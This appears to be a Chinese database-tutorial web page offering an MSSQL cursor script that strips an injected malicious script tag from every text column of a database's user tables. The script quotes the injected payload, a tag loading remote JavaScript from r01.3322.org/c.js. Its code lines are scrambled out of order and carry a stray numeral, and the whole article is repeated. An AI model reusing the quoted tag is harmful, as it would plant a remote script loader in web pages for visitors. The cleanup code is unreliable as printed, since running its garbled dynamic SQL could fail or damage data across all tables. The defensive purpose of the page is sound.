mssql

推荐列表 站点导航

当前位置:首页 > 数据库 > mssql >

解析:清除SQL被注入恶意病毒代码的语句

来源:网络整理  作者:网络  发布时间:2020-12-09 13:54
本篇文章是对清除SQL被注入恶意病毒代码的语句进行了详细的分析介绍,需要的朋友参考下...
set @str2=''
into @t,@c while(@@fetch_status=0)
set @str='<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></mce:script>'/*要替换的内容*/
declare @str varchar(500),@str2 varchar(500)
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')
declare @t varchar(255),@c varchar(255)
where a.id=b.id and a.xtype='u' and c.name
open table_cursor
fetch next from table_cursor
fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor
在SQL查询分析器执行以下代码就可以了。
from sysobjects a,syscolumns b ,systypes c

declare table_cursor cursor for select a.name,b.name


begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')

复制代码 代码如下:

相关热词: 解析

本站内容来源于网络,如有侵权请与我们联系,我们会及时删除,我们深感抱歉!
注:本站所有信息仅供用于网络技术学习参考,学习中请遵循相关法律法规!

本文地址: https://www.juheyunku.com/sql/mssql/1827.shtml

最新文章
sql server 关于设置null的一 sql server 关于设置null的一

时间:2020-12-28

详解SQL游标的用法 详解SQL游标的用法

时间:2020-12-27

vs code连接sql server数据库步 vs code连接sql server数据库步

时间:2020-12-27

图书管理系统的sqlserver数 图书管理系统的sqlserver数

时间:2020-12-25

详解SQL 通配符 详解SQL 通配符

时间:2020-12-25

sql四大排名函数之ROW_NUM sql四大排名函数之ROW_NUM

时间:2020-12-25

SQLServer数据库处于恢复挂 SQLServer数据库处于恢复挂

时间:2020-12-24

Win10 64位安装个人版SQL20 Win10 64位安装个人版SQL20

时间:2020-12-24

Copyright © www.juheyunku.com      关于 | 合作 | 声明 | 联系 | 更新 | 地图 | Tags

解析:清除SQL被注入恶意病毒代码的语句

2020-12-09 编辑:网络

set @str2=''
into @t,@c while(@@fetch_status=0)
set @str='<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></mce:script>'/*要替换的内容*/
declare @str varchar(500),@str2 varchar(500)
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')
declare @t varchar(255),@c varchar(255)
where a.id=b.id and a.xtype='u' and c.name
open table_cursor
fetch next from table_cursor
fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor
在SQL查询分析器执行以下代码就可以了。
from sysobjects a,syscolumns b ,systypes c

declare table_cursor cursor for select a.name,b.name


begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')

复制代码 代码如下:

本站内容来源于网络,如有侵权请与我们联系,我们会及时删除,我们深感抱歉!
注:本站所有信息仅供学习参考!
本文地址为 https://www.juheyunku.com/sql/mssql/1827.shtml

相关文章

风云图片

推荐阅读

返回mssql频道首页